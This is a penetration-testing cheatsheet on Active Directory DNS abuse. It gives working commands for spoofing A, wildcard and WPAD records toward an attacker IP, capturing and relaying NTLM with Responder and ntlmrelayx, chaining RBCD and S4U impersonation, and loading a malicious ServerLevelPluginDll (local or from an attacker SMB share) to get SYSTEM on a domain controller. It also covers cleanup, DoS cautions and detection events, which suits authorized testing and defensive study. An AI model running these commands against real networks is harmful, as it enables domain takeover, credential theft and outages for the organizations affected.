Skip to content

ADIDNS / DNS Record Abuse + DnsAdmins → DC SYSTEM — Cheatsheet

Purpose: Turn writable AD-integrated DNS (CREATE_CHILD on a zone or dnsRecord WRITE on a node) into name-resolution poisoning (WPAD/ADIDNS) and turn DnsAdmins membership into LocalSystem on a DC via ServerLevelPluginDll.

Prereqs / context: Linux foothold, domain-joined (kinit -k <ATTACKER_HOST>$ from /etc/krb5.keytab), driving impacket/bloodyAD/krbrelayx over Kerberos (KRB5CCNAME ccaches). DNS records live in LDAP under CN=MicrosoftDNS,DC=DomainDnsZones,DC=<DOMAIN> (per-domain) and …,DC=ForestDnsZones,DC=<DOMAIN> (forest-wide), so a standard user with the right ACE writes them over LDAP — no DNS protocol needed.


0. Recon — find your writable DNS surface

kinit -k <ATTACKER_HOST>$                                                                                                   # TGT for the machine acct from the keytab
KRB5CCNAME=<ATTACKER_HOST>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> get writable --detail                            # list every object/attr you can write (grep it for dns)
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> get writable --detail | grep -iE 'dnsRecord|CREATE_CHILD|DnsZones'   # isolate DNS write rights
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> get dnsDump                                               # dump every record in the domain zones (see what exists before you touch anything)
dnstool.py -k -u '<NETBIOS>\<USER>' --action query --record @ --zone <ZONE> <DC_FQDN>                                       # query a specific node (confirms read + zone name)

Two ACE shapes give you write: - dnsZoneScopeContainer: CREATE_CHILD + dnsNode: CREATE_CHILD on a zone → you can create new records anywhere in that zone (and the wildcard/WPAD trick). - dnsRecord: WRITE (usually with nTSecurityDescriptor: WRITE = WriteDACL on the node) on an existing record → you can overwrite that one record (DoS-risky, see the notes below).


1. This engagement's write surface (what we actually held)

# Standard user / foothold machine acct had, across the forest:
ForestDnsZones (forest-wide):  CREATE_CHILD on  _msdcs.<DOMAIN>  and  <GLOBAL_ZONE>   # 3 zones, both replicate forest-wide → poisons every domain
na:  CREATE_CHILD on 10.in-addr.arpa + several <CUSTOMER_ZONE> (OEM partner zones) + dnsRecord:WRITE on ~23 record nodes
eu:  CREATE_CHILD on 10.in-addr.arpa, eu zone + dnsRecord:WRITE on 13 record nodes
ap:  CREATE_CHILD on 8 zones — INCLUDING external customer zones <CUSTOMER_ZONE> (do NOT touch, see DoS caution)

_msdcs.<DOMAIN> write is the spicy one: it holds the SRV/CNAME records DCs use to find each other (e.g. the GUID-CNAMEs for replication). Creating new nodes there is high-impact; overwriting existing ones is a domain-wide DoS — create-only.


2. Add / spoof a single A record

# krbrelayx dnstool.py — password auth
dnstool.py -u '<NETBIOS>\<USER>' -p '<USER_PW>' --action add --record <name> --data <ATTACKER_IP> --type A <DC_FQDN>           # add <name>.<DOMAIN> then attacker
# krbrelayx dnstool.py — Kerberos (ccache), preferred here
KRB5CCNAME=<USER>.ccache dnstool.py -k -u '<NETBIOS>\<USER>' --action add --record <name> --data <ATTACKER_IP> --type A --zone <ZONE> <DC_FQDN>
# bloodyAD equivalent
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> add dnsRecord <name> <ATTACKER_IP>                            # defaults type A, zone = domain zone
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> add dnsRecord <name> <ATTACKER_IP> --dnstype A --zone <ZONE> --ttl 180   # explicit zone/ttl
# verify, then you'll delete it (PoC discipline)
dnstool.py -k -u '<NETBIOS>\<USER>' --action query --record <name> --zone <ZONE> <DC_FQDN>

Notes: CREATE_CHILD lets you add a new name; modifying an existing name needs dnsRecord: WRITE (--action modify). New records propagate after the zone refresh/notify; default DNS scavenging means a low TTL benign record self-cleans, but always delete it yourself.


3. Forest-wide zones (ForestDnsZones partition)

KRB5CCNAME=<USER>.ccache dnstool.py -k -u '<NETBIOS>\<USER>' --action add --record <name> --data <ATTACKER_IP> --type A --zone _msdcs.<DOMAIN> --forest <DC_FQDN>   # --forest targets the ForestDnsZones NC
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> add dnsRecord <name> <ATTACKER_IP> --zone _msdcs.<DOMAIN> --forest                                # bloodyAD --forest = ForestDnsZones

--forest is mandatory for _msdcs.<DOMAIN> / <GLOBAL_ZONE> — those zones live in DC=ForestDnsZones, not DC=DomainDnsZones. A record here is visible to all domains in the forest.


4. ADIDNS / WPAD poisoning → coerce → capture / relay

# Classic WPAD A record (works only if WPAD isn't blocked by the DNS Global Query Block List — see the notes below)
KRB5CCNAME=<USER>.ccache dnstool.py -k -u '<NETBIOS>\<USER>' --action add --record wpad --data <ATTACKER_IP> --type A --zone <ZONE> <DC_FQDN>
# Wildcard ADIDNS record — answers ANY unqualified single-label name not already present (Kevin Robertson trick)
KRB5CCNAME=<USER>.ccache dnstool.py -k -u '<NETBIOS>\<USER>' --action add --record '*' --data <ATTACKER_IP> --type A --zone <ZONE> <DC_FQDN>
# Then run a WPAD/responder server + capture/relay (pair with the coercion+relay cheatsheet)
sudo responder -I eth0 -wv                                                                                                      # serve wpad.dat, capture NTLM from clients that resolve to you
sudo ntlmrelayx.py -t smb://<TARGET_IP> -smb2support --no-http-server                                                           # relay captured auth (SMB targets w/o signing)

Payoff = NTLM material for pass-the-hash / relay, not cracking. The wildcard record is quieter than overwriting a real hostname and reversible with one delete.


5. DnsAdmins → DC SYSTEM (ServerLevelPluginDll)

Map the group to its real primitive: DnsAdmins does not give you C$/local-admin/DCSync on a DC. Its primitive is exactly one thing — it can set the DNS service's ServerLevelPluginDll, which the DNS service (running as SYSTEM on the DC) loads on next start. Don't test C$/SVCCTL and conclude "defended"; test the DLL path.

The engagement chain (standard user → DC SYSTEM, no cracking):

# 5a. You control a machine acct <FOOTHOLD>$ (shadow-cred then PKINIT AES TGT in its ccache).
# 5b. As a standard user, write RBCD on the DC object then <FOOTHOLD>$   (the disputed-but-LIVE primitive)
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> add rbcd '<DC>$' '<FOOTHOLD>$'                               # msDS-AllowedToActOnBehalfOfOtherIdentity
# 5c. S4U: impersonate a NON-protected DnsAdmins member (<ADMIN>) to the DC.  WRITE RBCD AND S4U AGAINST THE SAME DC (replication!)
KRB5CCNAME=<FOOTHOLD>.ccache getST.py -k -no-pass -spn 'host/<DC_FQDN>' -impersonate '<ADMIN>' '<DOMAIN>/<FOOTHOLD>$' -dc-ip <DC_IP>
# 5d. Use that ticket to set the plugin DLL via the DNS mgmt RPC (dnscmd from a Win context, or RPC). Prefer a LOCAL path on the DC if egress is blocked:
KRB5CCNAME=<ADMIN>.ccache  dnscmd <DC_FQDN> /config /serverlevelplugindll C:\Windows\Temp\evil.dll                            # local DLL (no SMB callback needed)
KRB5CCNAME=<ADMIN>.ccache  dnscmd <DC_FQDN> /config /serverlevelplugindll \\<ATTACKER_IP>\share\evil.dll                      # UNC variant — needs DC then you SMB egress (often blocked, see the notes below)
# 5e. Detonate = restart the DNS service (DnsAdmins can trigger it via the mgmt interface; otherwise wait for reboot)
KRB5CCNAME=<ADMIN>.ccache  dnscmd <DC_FQDN> /config /serverlevelplugindll       # (after cleanup) — and to restart:
sc.exe \\<DC_FQDN> stop dns   &&   sc.exe \\<DC_FQDN> start dns                  # DLL loads as SYSTEM on the DC on start

The DLL just needs to be loadable (a stub DllMain that runs your action, or a valid DnsPluginInitialize export) — on load it executes as NT AUTHORITY\SYSTEM inside dns.exe. We set the plugin path (validated working as <ADMIN>/DnsAdmins) but deliberately did NOT detonate — see DoS caution.


DoS caution (read before you type)

  • Never modify or overwrite a LIVE production record, especially _msdcs.<DOMAIN> SRV/CNAMEs (breaks DC location/replication) or any external <CUSTOMER_ZONE> (breaks a customer's name resolution — engagement-ending). dnsRecord: WRITE on a real node = overwrite = outage.
  • PoC discipline: create a single benign, uniquely-named record (<name> you invented) → screenshot the query → delete it. For DnsAdmins: set ServerLevelPluginDll, screenshot the config, revert — do not restart dns.exe on a production DC unless detonation is explicitly authorized (restart = DNS outage on that DC).

Detection / OPSEC

  • DNS record writes land in LDAP as object creates/modifies under CN=MicrosoftDNS (Directory Service / 5136 if SACL'd), and as DNS Server analytic events. ServerLevelPluginDll changes are loud: DNS event 150 (failed plugin load) / 770 and registry writes to HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDll; a dns.exe loading a non-Microsoft DLL is a high-fidelity EDR signal. RBCD writes show as msDS-AllowedToActOnBehalfOfOtherIdentity modifications (4742). S4U shows as 4769 for host/<DC> with an impersonated client. Wildcard/WPAD records + Responder traffic are classic.

Cleanup (revert everything you added)

KRB5CCNAME=<USER>.ccache dnstool.py -k -u '<NETBIOS>\<USER>' --action remove --record <name> --zone <ZONE> <DC_FQDN>          # delete the record you added (use --forest for _msdcs/<GLOBAL_ZONE>)
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> remove dnsRecord <name> <ATTACKER_IP>                        # bloodyAD variant
KRB5CCNAME=<ADMIN>.ccache  dnscmd <DC_FQDN> /config /serverlevelplugindll ""                                                  # blank ServerLevelPluginDll (revert), then restart DNS ONLY if you started it
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> remove rbcd '<DC>$' '<FOOTHOLD>$'                           # remove the RBCD ACE
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> get object '<DC>$' --attr msDS-AllowedToActOnBehalfOfOtherIdentity   # confirm it comes back empty

Also remove any wildcard * record, and delete the shadow-credential / SPN you added to <FOOTHOLD>$ if that was provisioned for this chain.

References

  • krbrelayx dnstool.py — Dirk-jan Mollema: https://github.com/dirkjanm/krbrelayx
  • "Beyond LLMNR/NBNS Spoofing — Exploiting Active Directory-Integrated DNS" (ADIDNS / wildcard / WPAD), Kevin Robertson: https://blog.netspi.com/exploiting-adidns/
  • bloodyAD (get writable, get dnsDump, add/remove dnsRecord, add/remove rbcd): https://github.com/CravateRouge/bloodyAD
  • "Feature, not bug: DNSAdmin to DC compromise" (ServerLevelPluginDll), Shay Ber: https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
  • impacket getST.py / services.py (S4U + service control): https://github.com/fortra/impacket
  • MS-DNSP DNS Server Management Protocol (ServerLevelPluginDll semantics): https://learn.microsoft.com/openspecs/windows_protocols/ms-dnsp